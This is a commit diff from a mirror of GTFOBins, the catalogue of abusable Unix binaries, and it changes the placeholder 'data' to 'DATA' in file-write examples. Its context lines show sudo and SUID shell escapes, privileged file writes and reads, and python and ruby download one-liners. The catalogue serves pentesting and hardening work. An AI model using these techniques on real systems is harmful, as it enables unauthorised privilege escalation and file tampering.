mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
Use DATA as a placeholder for file-write operations
This commit is contained in:
parent
866ca2e404
commit
d4b50275bb
@ -75,11 +75,11 @@ load-library:
|
|||||||
file-read:
|
file-read:
|
||||||
label: File read
|
label: File read
|
||||||
description: |
|
description: |
|
||||||
It reads files and may be used to do privileged reads or disclose files
|
It reads data from files, it may be used to do privileged reads or disclose
|
||||||
outside a restricted file system.
|
files outside a restricted file system.
|
||||||
|
|
||||||
file-write:
|
file-write:
|
||||||
label: File write
|
label: File write
|
||||||
description: |
|
description: |
|
||||||
It writes files and may be used to do privileged writes or write files
|
It writes data to files, it may be used to do privileged writes or write
|
||||||
outside a restricted file system.
|
files outside a restricted file system.
|
||||||
|
@ -5,7 +5,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
export LFILE=file_to_write
|
export LFILE=file_to_write
|
||||||
ash -c 'echo data > $LFILE'
|
ash -c 'echo DATA > $LFILE'
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: "./ash"
|
- code: "./ash"
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
|
@ -22,7 +22,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
awk -v LFILE=$LFILE 'BEGIN { print "data" > LFILE }'
|
awk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
|
@ -39,7 +39,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
export LFILE=file_to_write
|
export LFILE=file_to_write
|
||||||
bash -c 'echo data > $LFILE'
|
bash -c 'echo DATA > $LFILE'
|
||||||
file-read:
|
file-read:
|
||||||
- description: It trims trailing newlines and it's not binary-safe.
|
- description: It trims trailing newlines and it's not binary-safe.
|
||||||
code: |
|
code: |
|
||||||
|
@ -12,7 +12,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
busybox sh -c 'echo "data" > $LFILE'
|
busybox sh -c 'echo "DATA" > $LFILE'
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
|
@ -5,7 +5,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
export LFILE=file_to_write
|
export LFILE=file_to_write
|
||||||
ash -c 'echo data > $LFILE'
|
ash -c 'echo DATA > $LFILE'
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: "./csh -b"
|
- code: "./csh -b"
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
|
@ -5,7 +5,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
export LFILE=file_to_write
|
export LFILE=file_to_write
|
||||||
ash -c 'echo data > $LFILE'
|
ash -c 'echo DATA > $LFILE'
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./dash -p
|
- code: ./dash -p
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
|
@ -3,7 +3,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
echo "data" | dd of=$LFILE
|
echo "DATA" | dd of=$LFILE
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
|
@ -8,7 +8,7 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
ed file_to_write
|
ed file_to_write
|
||||||
a
|
a
|
||||||
data
|
DATA
|
||||||
.
|
.
|
||||||
w
|
w
|
||||||
q
|
q
|
||||||
|
@ -5,7 +5,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
emacs file_to_write
|
emacs file_to_write
|
||||||
data
|
DATA
|
||||||
C-x C-s
|
C-x C-s
|
||||||
file-read:
|
file-read:
|
||||||
- code: emacs file_to_read
|
- code: emacs file_to_read
|
||||||
|
@ -11,7 +11,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
gdb -nx -ex "dump value $LFILE \"data\"" -ex quit
|
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: sudo gdb -nx -ex '!sh' -ex quit
|
- code: sudo gdb -nx -ex '!sh' -ex quit
|
||||||
---
|
---
|
||||||
|
@ -39,7 +39,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
export LFILE=file_to_write
|
export LFILE=file_to_write
|
||||||
ksh -c 'echo data > $LFILE'
|
ksh -c 'echo DATA > $LFILE'
|
||||||
file-read:
|
file-read:
|
||||||
- description: It trims trailing newlines.
|
- description: It trims trailing newlines.
|
||||||
code: |
|
code: |
|
||||||
|
@ -56,7 +56,7 @@ functions:
|
|||||||
f:write(d);
|
f:write(d);
|
||||||
io.close(f);'
|
io.close(f);'
|
||||||
file-write:
|
file-write:
|
||||||
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);'
|
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);'
|
||||||
file-read:
|
file-read:
|
||||||
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
|
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
|
@ -9,7 +9,7 @@ functions:
|
|||||||
- description: Requires a newer GNU `make` version.
|
- description: Requires a newer GNU `make` version.
|
||||||
code: |
|
code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
make -s --eval="\$(file >$LFILE,data)" .
|
make -s --eval="\$(file >$LFILE,DATA)" .
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
COMMAND='/bin/sh -p'
|
COMMAND='/bin/sh -p'
|
||||||
|
@ -12,7 +12,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
nano file_to_write
|
nano file_to_write
|
||||||
data
|
DATA
|
||||||
^O
|
^O
|
||||||
file-read:
|
file-read:
|
||||||
- code: nano file_to_read
|
- code: nano file_to_read
|
||||||
|
@ -12,7 +12,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
pico file_to_write
|
pico file_to_write
|
||||||
data
|
DATA
|
||||||
^O
|
^O
|
||||||
file-read:
|
file-read:
|
||||||
- code: pico file_to_read
|
- code: pico file_to_read
|
||||||
|
@ -9,7 +9,7 @@ functions:
|
|||||||
- description: The file path must be absolute.
|
- description: The file path must be absolute.
|
||||||
code: |
|
code: |
|
||||||
export LFILE="/tmp/file_to_write"
|
export LFILE="/tmp/file_to_write"
|
||||||
puppet apply -e "file { '$LFILE': content => 'data' }"
|
puppet apply -e "file { '$LFILE': content => 'DATA' }"
|
||||||
file-read:
|
file-read:
|
||||||
- description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.
|
- description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.
|
||||||
code: |
|
code: |
|
||||||
|
@ -25,7 +25,7 @@ functions:
|
|||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
||||||
file-write:
|
file-write:
|
||||||
- code: python2 -c 'open("file_to_write","w+").write("data")'
|
- code: python2 -c 'open("file_to_write","w+").write("DATA")'
|
||||||
file-read:
|
file-read:
|
||||||
- code: python2 -c 'open("file_to_read").read()'
|
- code: python2 -c 'open("file_to_read").read()'
|
||||||
load-library:
|
load-library:
|
||||||
|
@ -25,7 +25,7 @@ functions:
|
|||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
|
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
|
||||||
file-write:
|
file-write:
|
||||||
- code: python3 -c 'open("file_to_write","w+").write("data")'
|
- code: python3 -c 'open("file_to_write","w+").write("DATA")'
|
||||||
file-read:
|
file-read:
|
||||||
- code: python3 -c 'open("file_to_read").read()'
|
- code: python3 -c 'open("file_to_read").read()'
|
||||||
load-library:
|
load-library:
|
||||||
|
@ -6,7 +6,7 @@ functions:
|
|||||||
- description: This adds timestamps to the output file. This relies on the external `echo` command.
|
- description: This adds timestamps to the output file. This relies on the external `echo` command.
|
||||||
code: |
|
code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
rlwrap -l "$LFILE" echo data
|
rlwrap -l "$LFILE" echo DATA
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./rlwrap -H /dev/null /bin/sh -p
|
- code: ./rlwrap -H /dev/null /bin/sh -p
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
|
@ -22,7 +22,7 @@ functions:
|
|||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
|
ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
|
||||||
file-write:
|
file-write:
|
||||||
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("data") }'
|
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
|
||||||
file-read:
|
file-read:
|
||||||
- code: ruby -e 'puts File.read("file_to_read")'
|
- code: ruby -e 'puts File.read("file_to_read")'
|
||||||
load-library:
|
load-library:
|
||||||
|
@ -9,7 +9,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
sed -n "1s/.*/data/w $LFILE" /etc/hosts
|
sed -n "1s/.*/DATA/w $LFILE" /etc/hosts
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
|
@ -4,14 +4,14 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
shuf -e data -o "$LFILE"
|
shuf -e DATA -o "$LFILE"
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- description:
|
- description:
|
||||||
code: |
|
code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
./shuf -e data -o "$LFILE"
|
./shuf -e DATA -o "$LFILE"
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
sudo shuf -e data -o "$LFILE"
|
sudo shuf -e DATA -o "$LFILE"
|
||||||
---
|
---
|
||||||
|
@ -5,7 +5,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";'
|
sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
|
@ -10,7 +10,7 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo data > "$TF"
|
echo DATA > "$TF"
|
||||||
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
|
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
|
||||||
file-read:
|
file-read:
|
||||||
- description: This only works for GNU tar.
|
- description: This only works for GNU tar.
|
||||||
|
@ -4,13 +4,13 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
echo data | ./tee -a "$LFILE"
|
echo DATA | ./tee -a "$LFILE"
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
echo data | ./tee -a "$LFILE"
|
echo DATA | ./tee -a "$LFILE"
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
echo data | sudo tee -a "$LFILE"
|
echo DATA | sudo tee -a "$LFILE"
|
||||||
---
|
---
|
||||||
|
@ -9,7 +9,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
vi file_to_write
|
vi file_to_write
|
||||||
idata
|
iDATA
|
||||||
^[
|
^[
|
||||||
w
|
w
|
||||||
file-read:
|
file-read:
|
||||||
|
@ -9,7 +9,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
vim file_to_write
|
vim file_to_write
|
||||||
idata
|
iDATA
|
||||||
^[
|
^[
|
||||||
w
|
w
|
||||||
file-read:
|
file-read:
|
||||||
|
@ -3,7 +3,7 @@ functions:
|
|||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
echo data | xxd | xxd -r - "$LFILE"
|
echo DATA | xxd | xxd -r - "$LFILE"
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
|
Loading…
Reference in New Issue
Block a user